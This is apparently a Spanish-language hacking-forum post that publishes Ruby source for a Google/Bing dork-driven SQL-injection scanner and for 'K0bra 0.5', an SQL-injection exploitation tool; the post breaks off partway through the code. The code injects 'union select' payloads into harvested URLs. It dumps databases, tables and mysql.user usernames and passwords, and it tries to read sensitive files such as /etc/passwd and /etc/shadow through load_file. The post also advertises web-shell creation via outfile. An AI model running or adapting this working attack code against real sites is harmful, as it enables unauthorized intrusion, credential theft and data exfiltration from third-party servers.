  35. http = Net::HTTP.new(uri.host, uri.port)
  36. return http.post(uri.path,arg, headers).body
  37. rescue
  38. return "Error"
  39. end
  40. end
  41.  
  42. def cortar(pages)
  43. final = ""
  44. finales = []
  45. pages.flatten.each do |page|
  46. if page=~/(.*)=(.*)/
  47. parte1 = $1
  48. parte2 = $2
  49. final = parte1 + "="
  50. finales.push(final)
  51. end
  52. end
  53. return finales
  54. end
  55.  
  56.  
  57. def google(dork,pages)
  58.  
  59. links = []
  60. dork = dork.sub(/ /,"+")
  61. contador = 0
  62. for i in ("1"..pages)
  63. contador+=10
  64. code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
  65. paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
  66. paginas.flatten.each do |pagina|
  67. partes = pagina
  68. if partes=~/url\?q=(.*)&amp;sa/
  69. parte = $1
  70. link = URI::decode(parte)
  71. links.push(link)
  72. end
  73. end
  74. end
  75. links = links.uniq
  76. return links
  77. end
  78.  
  79. def google_recursive(dork,pages)
  80. dork = dork.sub(/ /,"+")
  81. contador = 0
  82. guardo = []
  83. for i in ("1"..pages)
  84. contador+=10
  85. url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
  86. code = toma_ssl(url)
  87. links = URI::extract(code)
  88. links.each do |link|
  89. if link=~/cache:(.*?):(.*?)\+/
  90. link_final = "http://"+$2
  91. link_final = URI::decode(link_final)
  92. guardo.push(link_final)
  93. end
  94. end
  95. end
  96. guardo = guardo.uniq
  97. return guardo
  98. end
  99.  
  100. def bing(dork,pages)
  101.  
  102. guardo = []
  103. dork = dork.sub(/ /,"+")
  104. contador = 0
  105. for i in ("1"..pages)
  106. contador+=10
  107.  
  108. code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)
  109.  
  110. links = code.scan(/<h2><a href="(.*?)" h/)
  111.  
  112. links.flatten.each do |link|
  113. link_final = URI::decode(link)
  114. if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  115. guardo.push(link_final)
  116. end
  117. end
  118.  
  119. links = code.scan(/<h3><a href="(.*?)" h/)
  120.  
  121. links.flatten.each do |link|
  122. link_final = URI::decode(link)
  123. if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  124. guardo.push(link_final)
  125. end
  126. end
  127. end
  128. guardo = guardo.uniq
  129. return guardo
  130. end
  131.  
  132. #
  133.  
  134. window = TkRoot.new { title "SQLI Scanner 0.4 - Scanner Google" ; background "black" }
  135. window['geometry'] = '300x320-20+10'
  136.  
  137. TkLabel.new(window) do
  138. background "black"
  139. foreground "green"
  140. text "    Dork : "
  141. place('relx'=>"0.1",'rely'=>"0.1")
  142. end
  143.  
  144. dork = TkEntry.new(window){
  145. background "black"
  146. foreground "green"
  147. width 25
  148. place('relx'=>0.3,'rely'=>0.1)
  149. }
  150.  
  151. TkLabel.new(window) do
  152. background "black"
  153. foreground "green"
  154. text "    Pages : "
  155. place('relx'=>"0.1",'rely'=>"0.2")
  156. end
  157.  
  158. pages = TkEntry.new(window){
  159. background "black"
  160. foreground "green"
  161. width 25
  162. place('relx'=>0.3,'rely'=>0.2)
  163. }
  164.  
  165. TkLabel.new(window) do
  166. background "black"
  167. foreground "green"
  168. text "Console"
  169. place('relx'=>0.4,'rely'=>0.3)
  170. end
  171.  
  172. console =TkText.new(window) do
  173. background "black"
  174. foreground "green"
  175. width 30
  176. height 9
  177. place('relx'=>0.1,'rely'=>0.4)
  178. end
  179.  
  180. TkButton.new(window) do
  181. text "Search"
  182.    background "black"
  183. foreground "green"
  184. width 17
  185. activebackground "green"
  186. highlightbackground  "green"
  187. command proc{
  188.  
  189. dork = dork.value.to_s
  190. pages = pages.value.to_s
  191.  
  192. console.insert("end",  "[+] Searching in Google ...\n\n")
  193.  
  194. links = cortar(google(dork,pages))
  195.  
  196. if links.count.to_s=="0"
  197. console.insert("end",  "[+] Searching in Google again ...\n\n")
  198. links = cortar(google_recursive(dork,pages))
  199. end
  200.  
  201. console.insert("end", "[+] Pages Count : "+links.count.to_s+"\n\n")
  202.  
  203. if links.count.to_s=="0"
  204. console.insert("end", "[-] Links not found")
  205. end
  206.  
  207. links.flatten.each do |link|
  208. console.insert("end", "[+] Link : "+link)
  209. begin
  210. url = toma(link + "-1+union+select+1--")
  211. if url=~/The used SELECT statements have a different number of columns/
  212. console.insert("end"," [OK]\n\a\a")
  213. else
  214. console.insert("end"," [FAIL]\n")
  215. end
  216. rescue
  217. console.insert("end", " [FAIL]\n")
  218. end
  219. end
  220.  
  221. console.insert("end",  "\n[+] Finished")
  222.  
  223. }
  224. place('relx'=>0.3,'rely'=>0.9)
  225. end
  226.  
  227. Tk.mainloop
  228.  
  229. #The End ?
  230.  

Una imagen :



Version Tk para Bing :

Código
  1. #!usr/bin/ruby
  2. #SQLI Scanner 0.4
  3. #(C) Doddy Hackman 2015
  4. #Scan Bing Tk
  5.  
  6. require "tk"
  7. require "open-uri"
  8. require "net/http"
  9. require "openssl"
  10.  
  11. # Functions
  12.  
  13. def toma(web)
  14. begin
  15. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  16. rescue
  17. return "Error"
  18. end
  19. end
  20.  
  21.  
  22. def toma_ssl(web)
  23. uri = URI.parse(web)
  24. nave = Net::HTTP.new(uri.host, uri.port)
  25. nave.use_ssl = true
  26. nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
  27. return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
  28. end
  29.  
  30.  
  31. def tomar(web,arg)
  32. begin
  33. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  34. uri = URI(web)
  35. http = Net::HTTP.new(uri.host, uri.port)
  36. return http.post(uri.path,arg, headers).body
  37. rescue
  38. return "Error"
  39. end
  40. end
  41.  
  42. def cortar(pages)
  43. final = ""
  44. finales = []
  45. pages.flatten.each do |page|
  46. if page=~/(.*)=(.*)/
  47. parte1 = $1
  48. parte2 = $2
  49. final = parte1 + "="
  50. finales.push(final)
  51. end
  52. end
  53. return finales
  54. end
  55.  
  56.  
  57. def google(dork,pages)
  58.  
  59. links = []
  60. dork = dork.sub(/ /,"+")
  61. contador = 0
  62. for i in ("1"..pages)
  63. contador+=10
  64. code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
  65. paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
  66. paginas.flatten.each do |pagina|
  67. partes = pagina
  68. if partes=~/url\?q=(.*)&amp;sa/
  69. parte = $1
  70. link = URI::decode(parte)
  71. links.push(link)
  72. end
  73. end
  74. end
  75. links = links.uniq
  76. return links
  77. end
  78.  
  79. def google_recursive(dork,pages)
  80. dork = dork.sub(/ /,"+")
  81. contador = 0
  82. guardo = []
  83. for i in ("1"..pages)
  84. contador+=10
  85. url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
  86. code = toma_ssl(url)
  87. links = URI::extract(code)
  88. links.each do |link|
  89. if link=~/cache:(.*?):(.*?)\+/
  90. link_final = "http://"+$2
  91. link_final = URI::decode(link_final)
  92. guardo.push(link_final)
  93. end
  94. end
  95. end
  96. guardo = guardo.uniq
  97. return guardo
  98. end
  99.  
  100. def bing(dork,pages)
  101.  
  102. guardo = []
  103. dork = dork.sub(/ /,"+")
  104. contador = 0
  105. for i in ("1"..pages)
  106. contador+=10
  107.  
  108. code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)
  109.  
  110. links = code.scan(/<h2><a href="(.*?)" h/)
  111.  
  112. links.flatten.each do |link|
  113. link_final = URI::decode(link)
  114. if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  115. guardo.push(link_final)
  116. end
  117. end
  118.  
  119. links = code.scan(/<h3><a href="(.*?)" h/)
  120.  
  121. links.flatten.each do |link|
  122. link_final = URI::decode(link)
  123. if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  124. guardo.push(link_final)
  125. end
  126. end
  127. end
  128. guardo = guardo.uniq
  129. return guardo
  130. end
  131.  
  132. #
  133.  
  134. window = TkRoot.new { title "SQLI Scanner 0.4 - Scanner Bing" ; background "black" }
  135. window['geometry'] = '300x320-20+10'
  136.  
  137. TkLabel.new(window) do
  138. background "black"
  139. foreground "green"
  140. text "    Dork : "
  141. place('relx'=>"0.1",'rely'=>"0.1")
  142. end
  143.  
  144. dork = TkEntry.new(window){
  145. background "black"
  146. foreground "green"
  147. width 25
  148. place('relx'=>0.3,'rely'=>0.1)
  149. }
  150.  
  151. TkLabel.new(window) do
  152. background "black"
  153. foreground "green"
  154. text "    Pages : "
  155. place('relx'=>"0.1",'rely'=>"0.2")
  156. end
  157.  
  158. pages = TkEntry.new(window){
  159. background "black"
  160. foreground "green"
  161. width 25
  162. place('relx'=>0.3,'rely'=>0.2)
  163. }
  164.  
  165. TkLabel.new(window) do
  166. background "black"
  167. foreground "green"
  168. text "Console"
  169. place('relx'=>0.4,'rely'=>0.3)
  170. end
  171.  
  172. console =TkText.new(window) do
  173. background "black"
  174. foreground "green"
  175. width 30
  176. height 9
  177. place('relx'=>0.1,'rely'=>0.4)
  178. end
  179.  
  180. TkButton.new(window) do
  181. text "Search"
  182.    background "black"
  183. foreground "green"
  184. width 17
  185. activebackground "green"
  186. highlightbackground  "green"
  187. command proc{
  188.  
  189. dork = dork.value.to_s
  190. pages = pages.value.to_s
  191.  
  192. console.insert("end", "[+] Searching in Bing ...\n\n")
  193.  
  194. links = cortar(bing(dork,pages))
  195.  
  196. console.insert("end", "[+] Pages Count : "+links.count.to_s+"\n\n")
  197.  
  198. if links.count.to_s=="0"
  199. console.insert("end","[-] Links not found\n")
  200. end
  201.  
  202. links.flatten.each do |link|
  203. console.insert("end", "[+] Link : "+link)
  204. begin
  205. url = toma(link + "-1+union+select+1--")
  206. if url=~/The used SELECT statements have a different number of columns/
  207. console.insert("end"," [OK]\n\a\a")
  208. else
  209. console.insert("end", " [FAIL]\n")
  210. end
  211. rescue
  212. console.insert("end"," [FAIL]\n")
  213. end
  214. end
  215.  
  216. console.insert("end",  "\n[+] Finished")
  217.  
  218. }
  219. place('relx'=>0.3,'rely'=>0.9)
  220. end
  221.  
  222. Tk.mainloop
  223.  
  224. #The End ?
  225.  

Una imagen :



Eso es todo.
49  Programación / Scripting / [Ruby] K0bra 0.5 en: 24 Julio 2015, 18:12 pm
Version mejorada de este script en Ruby para scannear la vulnerablidad SQLI en una pagina.

El script tiene las siguientes opciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados

El codigo :

Código
  1. #!usr/bin/ruby
  2. #K0bra 0.5
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "net/http"
  6. require "open-uri"
  7.  
  8. $files = ['C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/admin.php','C:/xampp/htdocs/leer.txt','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf','C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf','C:\ProgramFiles\xampp\apache\conf\httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf','/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php','/usr/local/etc/apache/vhosts.conf','/etc/php.ini','/bin/php.ini','/etc/httpd/php.ini','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini','/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini','/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/web/conf/php.ini','/usr/local/Zend/etc/php.ini','/opt/xampp/etc/php.ini','/var/local/www/conf/php.ini','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','c:\php5\php.ini','c:\php4\php.ini','c:\php\php.ini','c:\PHP\php.ini','c:\WINDOWS\php.ini','c:\WINNT\php.ini','c:\apache\php\php.ini','c:\xampp\apache\bin\php.ini','c:\NetServer\bin\stable\apache\php.ini','c:\home2\bin\stable\apache\php.ini','c:\home\bin\stable\apache\php.ini','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log','/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf','C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log','C:\ProgramFiles\MySQL\data\hostname.err','C:\ProgramFiles\MySQL\data\mysql.log','C:\ProgramFiles\MySQL\data\mysql.err','C:\ProgramFiles\MySQL\data\mysql-bin.log','C:\MySQL\data\hostname.err','C:\MySQL\data\mysql.log','C:\MySQL\data\mysql.err','C:\MySQL\data\mysql-bin.log','C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini','C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf','C:\ProgramFiles\MySQL\my.ini','C:\ProgramFiles\MySQL\my.cnf','C:\MySQL\my.ini','C:\MySQL\my.cnf','/etc/logrotate.d/proftpd','/www/logs/proftpd.system.log','/var/log/proftpd','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf','/etc/proftpd/modules.conf','/var/log/vsftpd.log','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/var/log/xferlog','/var/adm/log/xferlog','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts','/etc/wu-ftpd/ftpusers','/usr/sbin/pure-config.pl','/usr/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl','/usr/local/pureftpd/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/var/log/pure-ftpd/pure-ftpd.log','/logs/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log','/var/log/ftp-proxy','/var/log/ftplog','/etc/logrotate.d/ftp','/etc/ftpchroot','/etc/ftphosts','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog','/var/log/exim/rejectlog','/var/log/exim_rejectlog']
  9.  
  10. def toma(web)
  11.  begin
  12.    return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  13.  rescue
  14.    return "Error"
  15.  end
  16. end
  17.  
  18. def decode_hex(text)
  19.  text = text.sub("0x","")
  20.  return [text].pack('H*')[0]
  21. end
  22.  
  23. def encode_hex(text)
  24.  return "0x"+text.unpack('H*')[0]
  25. end
  26.  
  27. def copyright()
  28.  print "\n-- == (C) Doddy Hackman 2015 == --\n"
  29.  gets.chomp
  30.  exit(1)
  31. end
  32.  
  33. def installer()
  34.  dir = Dir::pwd+"/"+"logs_webs"
  35.  if not FileTest::directory?(dir)
  36.    Dir::mkdir(dir)
  37.  end
  38. end
  39.  
  40. def savefile(file,text)
  41.  url = URI.parse(file)
  42.  save = File.open("logs_webs/"+url.host+".txt","a")
  43.  save.puts text+"\n"
  44.  save.close
  45. end
  46.  
  47. def bypass(op)
  48.  if op=="--"
  49.    return "+","--"
  50.  elsif op=="/*"
  51.   return "/**/","/**/"
  52.  elsif op=="%20"
  53.   return "%20","%00"
  54.  else
  55.   return "+","--"    
  56.  end
  57. end
  58.  
  59. def head()
  60.  clean()
  61.  print "
  62.  
  63. @      @@   @            
  64. @@     @  @ @@            
  65. @ @@  @  @  @ @   @ @ @@@
  66. @ @   @  @  @@ @ @@@ @  @
  67. @@    @  @  @  @  @   @@@
  68. @ @   @  @  @  @  @  @  @
  69. @@@ @   @@   @@@  @@@ @@@@@
  70.  
  71. "
  72. end
  73.  
  74. def volverinicio()
  75.  print "\n\n[+] Press any key to continue\n\n"
  76.  gets.chomp
  77.  inicio()
  78. end
  79.  
  80. def clean()
  81.  if RUBY_PLATFORM=~/win/ or RUBY_PLATFORM=~/min/
  82.    system("cls")
  83.  else
  84.    system("clear")
  85.  end
  86. end
  87.  
  88. def retorno(url,by)
  89.  print "\n[+] Finished"
  90.  print "\n\n[+] Press any key to continue\n\n"
  91.  gets.chomp
  92.  central(url,by)
  93. end
  94.  
  95. def gettables(url,by)
  96.  pass1,pass2 = bypass(by)
  97.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))")
  98.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))")
  99.  print "\n[+] Getting tables ...\n\n"
  100.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  101.  if code1=~/K0BRA(.*?)K0BRA/
  102.    total = $1
  103.    print "[+] Tables Found : ",total,"\n\n"
  104.    savefile(url,"\n[+] Tables Found : #{total}\n")
  105.    for num in ("17"..total)
  106.      code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+num+",1"+pass2)
  107.      if code2=~/K0BRA(.*?)K0BRA/
  108.        table = $1
  109.        print "[+] Table Found : "+table+"\n"
  110.        savefile(url,"[+] Table Found : #{table}")
  111.      end
  112.    end
  113.  else
  114.    print "[-] Not Found\n"
  115.  end
  116. end
  117.  
  118. def getcolumns(url,by,tablex)
  119.  tablexa = encode_hex(tablex)
  120.  pass1,pass2 = bypass(by)
  121.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))")
  122.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))")
  123.  print "\n[+] Getting columns ...\n\n"
  124.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tablexa+pass2)
  125.  if code1=~/K0BRA(.*?)K0BRA/
  126.    total = $1
  127.    print "[+] Columns Found : ",total,"\n\n"
  128.    savefile(url,"\n[+] Table : #{tablex}")
  129.    savefile(url,"[+] Columns Found : #{total}\n")
  130.    for num in ("0"..total)
  131.      code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tablexa+pass1+"limit"+pass1+num+",1"+pass2)
  132.      if code2=~/K0BRA(.*?)K0BRA/
  133.        table = $1
  134.        print "[+] Column Found : "+table+"\n"
  135.        savefile(url,"[+] Column Found : #{table}")
  136.      end
  137.    end
  138.  else
  139.    print "[-] Not Found\n"
  140.  end
  141. end
  142.  
  143. def getdbs(url,by)
  144.  pass1,pass2 = bypass(by)
  145.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  146.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))")
  147.  print "\n[+] Getting DBS ...\n\n"
  148.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
  149.  if code1=~/K0BRA(.*?)K0BRA/
  150.    total = $1
  151.    print "[+] DBS Found : ",total,"\n\n"
  152.    savefile(url,"\n[+] DBS Found : #{total}\n")
  153.    for num in ("0"..total)
  154.      code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+num+",1"+pass2)
  155.      if code2=~/K0BRA(.*?)K0BRA/
  156.        table = $1
  157.        print "[+] DB Found : "+table+"\n"
  158.        savefile(url,"[+] DB Found : #{table}")
  159.      end
  160.    end
  161.  else
  162.    print "[-] Not Found\n"
  163.  end
  164. end
  165.  
  166. def gettablesbydb(url,by,dbx)
  167.  data  = encode_hex(dbx)
  168.  pass1,pass2 = bypass(by)
  169.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  170.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))")
  171.  print "\n[+] Getting tables ...\n\n"
  172.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+data+pass2)
  173.  if code1=~/K0BRA(.*?)K0BRA/
  174.    total = $1
  175.    print "[+] Tables Found : ",total,"\n\n"
  176.    savefile(url,"\n[+] DBS : #{dbx}")
  177.    savefile(url,"[+] Tables Found : #{total}\n")
  178.    for num in ("0"..total)
  179.      code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+data+pass1+"limit"+pass1+num+",1"+pass2)
  180.      if code2=~/K0BRA(.*?)K0BRA/
  181.        table = $1
  182.        print "[+] Table Found : "+table+"\n"
  183.        savefile(url,"[+] Table Found : #{table}")
  184.      end
  185.    end
  186.  else
  187.    print "[-] Not Found\n"
  188.  end
  189. end
  190.  
  191. def getcolumnsbydb(url,by,db,tab)
  192.  data = encode_hex(db)
  193.  tabx = encode_hex(tab)
  194.  
  195.  pass1,pass2 = bypass(by)
  196.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  197.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))")
  198.  print "\n[+] Getting columns ...\n\n"
  199.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabx+pass1+"and"+pass1+"table_schema="+data+pass2)
  200.  if code1=~/K0BRA(.*?)K0BRA/
  201.    total = $1
  202.    print "[+] Columns Found : ",total,"\n\n"
  203.    savefile(url,"\n[+] DB : #{db}")
  204.    savefile(url,"[+] Table : #{tab}")
  205.    savefile(url,"[+] Columns Found : #{total}\n")
  206.    for num in ("0"..total)
  207.      code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabx+pass1+"and"+pass1+"table_schema="+data+pass1+"limit"+pass1+num+",1"+pass2)
  208.      if code2=~/K0BRA(.*?)K0BRA/
  209.        table = $1
  210.        print "[+] Column Found : "+table+"\n"
  211.        savefile(url,"[+] Column Found : #{table}")
  212.      end
  213.    end
  214.  else
  215.    print "[-] Not Found\n"
  216.  end
  217. end
  218.  
  219. def mysqluser(url,by)
  220.  pass1,pass2 = bypass(by)
  221.  web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
  222.  web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))")
  223.   print "\n[+] Searching mysql.user\n\n"
  224.  code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  225.  if code1=~/K0BRA(.*?)K0BRA/
  226.    total = $1
  227.    print "[+] Users Mysql Found : ",total,"\n\n"
  228.    savefile(url,"[+] Users Mysql Found : "+total+"\n")
  229.    for num in ("0"..total)
  230.      code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+num+",1"+pass2)
  231.      if code2=~/K0BRA(.*)K0BRAK0BRA1(.*)K0BRA1K0BRA2(.*)K0BRA2/
  232.        host,user,passw = $1,$2,$3
  233.        print "[Host] : "+host
  234.        print " [User] : "+user
  235.        print " [Pass] : "+passw+"\n"  
  236.        savefile(url,"[Host] : "+host)
  237.        savefile(url,"[User] : "+user)
  238.        savefile(url,"[Pass] : "+passw+"\n")
  239.      end
  240.    end
  241.  else
  242.    print "[-] Not Found\n"
  243.  end
  244. end
  245.  
  246. def details(url,by)
  247.  pass1,pass2 = bypass(by)
  248.  hextest = "0x2f6574632f706173737764" #/etc/passwd
  249.  hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
  250.  web1 = url.sub(/hackman/,"0x4b30425241")
  251.  web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
  252.  web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
  253.   print "\n[+] Extrating information of the DB\n"
  254.  code1 = toma(web2)
  255.  if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
  256.    user,data,ver = $1,$2,$3
  257.    print "\n[+] Username : "+user
  258.    print "\n[+] Database : "+data
  259.    print "\n[+] Version : "+ver+"\n\n"
  260.    savefile(url,"\n[+] Username : "+user)
  261.    savefile(url,"[+] Database : "+data)
  262.    savefile(url,"[+] Version : "+ver+"\n")
  263.  else
  264.    print "[-] Not Found\n"
  265.  end
  266.   code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  267.   code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  268.   code4 = toma(web3)
